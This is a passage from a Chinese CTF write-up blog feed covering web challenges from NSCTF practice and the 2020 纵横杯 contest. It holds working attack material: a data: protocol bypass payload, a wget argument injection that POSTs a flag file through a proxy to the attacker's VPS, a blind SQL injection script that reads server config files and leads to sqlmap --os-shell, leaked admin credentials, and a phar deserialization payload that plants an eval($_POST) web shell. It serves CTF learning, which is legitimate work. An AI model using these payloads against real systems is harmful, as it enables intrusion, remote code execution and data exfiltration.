  src="/5cc9b5/nsctf4_practice_web_2_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="558" height="91"
/>
</p>
<p>得到flag:<code>flag{15cc8eee88302965c61497c147e6ca4c}</code></p>
<h3 id="php是">php是&hellip;&hellip;<a class="anchor" href="#php是">#</a></h3>
<p><img
  src="/5cc9b5/nsctf4_practice_web_3_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="529" height="410"
/>
</p>
<p>读代码，伪协议绕过</p>
<p>payload:<code>?ac=1&amp;fn=data:,1</code></p>
<p><img
  src="/5cc9b5/nsctf4_practice_web_3_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="664" height="148"
/>
</p>
<p>flag:<code>flag{5592f1a9fa885a77ba55497e501a101a}</code></p>
]]></content:encoded><category>WEB</category><category>Misc</category><category>Crypto</category><category>Reverse</category></item><item><title>纵横杯网络安全竞赛Writeup</title><link>https://h4cker.zip/ea610f/</link><pubDate>Sun, 27 Dec 2020 15:48:41 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/ea610f/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h3 id="magic_download">magic_download<a class="anchor" href="#magic_download">#</a></h3>
<p>run.sh</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#!/bin/bash
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">ulimit</span> <span class="o">-</span><span class="nx">c</span> <span class="mi">0</span>      <span class="c1"># core dump size (kb)
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">ulimit</span> <span class="o">-</span><span class="nx">t</span> <span class="mi">60</span>     <span class="c1"># max cpu using (s/min)
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">ulimit</span> <span class="o">-</span><span class="nx">u</span> <span class="mi">1500</span>    <span class="c1"># max number of process
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nx">ulimit</span> <span class="o">-</span><span class="nx">m</span> <span class="mi">512000</span> <span class="c1"># max memory (kb)
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nx">cd</span> <span class="o">/</span><span class="nx">home</span><span class="o">/</span><span class="nx">ctf</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nx">stdbuf</span> <span class="o">-</span><span class="nx">oL</span> <span class="k">echo</span> <span class="o">-</span><span class="nx">n</span> <span class="s2">&#34;Please enter your IP:&#34;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nx">read</span> <span class="nx">IP</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">echo</span> <span class="nv">$IP</span><span class="o">|</span><span class="nx">grep</span> <span class="s2">&#34;^[0-9\.]\{7,15\}$&#34;</span> <span class="o">&gt;</span> <span class="o">/</span><span class="nx">dev</span><span class="o">/</span><span class="k">null</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">if</span> <span class="p">[</span> <span class="err">$</span><span class="o">?</span> <span class="o">-</span><span class="nx">ne</span> <span class="mi">0</span> <span class="p">]</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nx">then</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="nx">stdbuf</span> <span class="o">-</span><span class="nx">oL</span> <span class="k">echo</span> <span class="s2">&#34;Please input a IP!&#34;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="nx">exec</span> <span class="o">/</span><span class="nx">home</span><span class="o">/</span><span class="nx">ctf</span><span class="o">/</span><span class="nx">wget</span> <span class="o">-</span><span class="nx">P</span> <span class="o">/</span><span class="nx">tmp</span> <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">fi</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这个正则可以被换行绕过，请看演示：</p>
<p><img
  src="/ea610f/0fd841.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1412" height="516"
/>
</p>
<p>然后就是利用 <code>wget</code> 的各种参数，把 flag 给传出去。可以给 wget 设置 http_proxy，正好可以用 http_proxy 带出 flag，设置 http 代理为攻击者 vps，然后监听 80 端口就完事了</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">-</span><span class="nx">e</span> <span class="nx">http_proxy</span><span class="o">=</span><span class="nx">vps</span> <span class="o">--</span><span class="nx">method</span><span class="o">=</span><span class="nx">POST</span> <span class="o">--</span><span class="nx">body</span><span class="o">-</span><span class="nx">file</span><span class="o">=/</span><span class="nx">home</span><span class="o">/</span><span class="nx">ctf</span><span class="o">/</span><span class="nx">flag</span> <span class="o">--</span><span class="nx">header</span><span class="o">=</span><span class="nx">X</span><span class="o">-</span><span class="nx">Powered</span><span class="o">-</span><span class="nx">By</span><span class="o">:</span><span class="nx">Y1ng</span> <span class="nx">\\n127</span><span class="o">.</span><span class="mf">0.0</span><span class="o">.</span><span class="mi">1</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/ea610f/180b0ee0.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2074" height="578"
/>
</p>
<h3 id="easyci">easyci<a class="anchor" href="#easyci">#</a></h3>
<p>username 存在注入 可以 load_file 读文件 读 Apache 站点配置文件得到网站的根目录</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">#-*- coding:utf-8 -*-</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1">#__author__: 颖奇L&#39;Amore www.gem-love.com</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;http://your_docker.cloudeci1.ichunqiu.com/public/index.php/home/login&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;username&#34;</span> <span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="s2">&#34;password&#34;</span> <span class="p">:</span> <span class="s2">&#34;y1ng&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">result</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;select database()&#39;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;password&#39;</span> <span class="c1">#c3762483bc73d0b7943156d43911ce38</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39;select to_base64(substr((load_file(&#34;/etc/apache2/sites-enabled/000-default.conf&#34;)),596,650))&#39;</span> <span class="c1">#/var/sercet/html   然后sqlmap的os-shell一把梭</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">10000</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.06</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">low</span> <span class="o">=</span> <span class="mi">32</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">high</span> <span class="o">=</span><span class="mi">128</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">low</span><span class="o">+</span><span class="n">high</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">while</span><span class="p">(</span><span class="n">low</span><span class="o">&lt;</span><span class="n">high</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="n">data</span><span class="p">[</span><span class="s2">&#34;username&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;0&#39;or (ascii(substr((</span><span class="si">%s</span><span class="s2">),</span><span class="si">%d</span><span class="s2">,1)))&gt;</span><span class="si">%d</span><span class="s2">#&#34;</span> <span class="o">%</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span><span class="n">mid</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="c1"># print(data)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="c1"># print(r.text)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="k">if</span> <span class="s2">&#34;用户名&#34;</span>  <span class="ow">not</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">            <span class="n">low</span> <span class="o">=</span> <span class="n">mid</span><span class="o">+</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">            <span class="n">high</span> <span class="o">=</span> <span class="n">mid</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="n">mid</span> <span class="o">=</span><span class="p">(</span><span class="n">low</span><span class="o">+</span><span class="n">high</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">mid</span> <span class="o">==</span> <span class="mi">32</span> <span class="ow">or</span> <span class="n">mid</span> <span class="o">==</span> <span class="mi">127</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">break</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="n">result</span> <span class="o">+=</span><span class="nb">chr</span><span class="p">(</span><span class="n">mid</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">b64decode</span><span class="p">(</span><span class="n">result</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="k">pass</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>根目录是 /var/sercet/html 然后 sqlmap 的–os-shell 一把梭就完了</p>
<p><img
  src="/ea610f/7ab2eb.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1328" height="850"
/>
</p>
<hr>
<h3 id="easycms">easycms<a class="anchor" href="#easycms">#</a></h3>
<p>www.zip 拿到源码，config.php 拿到数据库的账号密码 admin/admin868 并用这个密码也一并进了后台</p>
<p>然后用这个 SSRF 的洞读 /flag 即可：https://github.com/yzmcms/yzmcms/issues/53</p>
<hr>
<h3 id="hello-php">hello php<a class="anchor" href="#hello-php">#</a></h3>
<p>www.zip 拿到源码，一个简单的 phar 反序列化</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">Config</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">public</span> <span class="nv">$title</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$comment</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$logo_url</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$title</span><span class="p">,</span><span class="nv">$comment</span><span class="p">,</span><span class="nv">$logo_url</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">title</span><span class="o">=</span> <span class="nv">$title</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">comment</span> <span class="o">=</span> <span class="nv">$comment</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">logo_url</span> <span class="o">=</span> <span class="nv">$logo_url</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nv">$c</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Config</span><span class="p">(</span><span class="s2">&#34;&#39;;echo(&#39;shell&#39;);eval(</span><span class="se">\$</span><span class="s2">_POST[&#39;0&#39;]);//&#34;</span><span class="p">,</span><span class="s1">&#39;123&#39;</span><span class="p">,</span><span class="s1">&#39;123&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">@</span><span class="nx">unlink</span><span class="p">(</span><span class="s2">&#34;phar.jpg&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s2">&#34;phar.phar&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">startBuffering</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">setStub</span><span class="p">(</span><span class="s2">&#34;&lt;?php __HALT_COMPILER(); ?&gt;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">setMetadata</span><span class="p">(</span><span class="nv">$c</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">addFromString</span><span class="p">(</span><span class="s2">&#34;test.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;test&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">stopBuffering</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="o">@</span><span class="nx">rename</span><span class="p">(</span><span class="s2">&#34;phar.phar&#34;</span><span class="p">,</span><span class="s2">&#34;phar.jpg&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
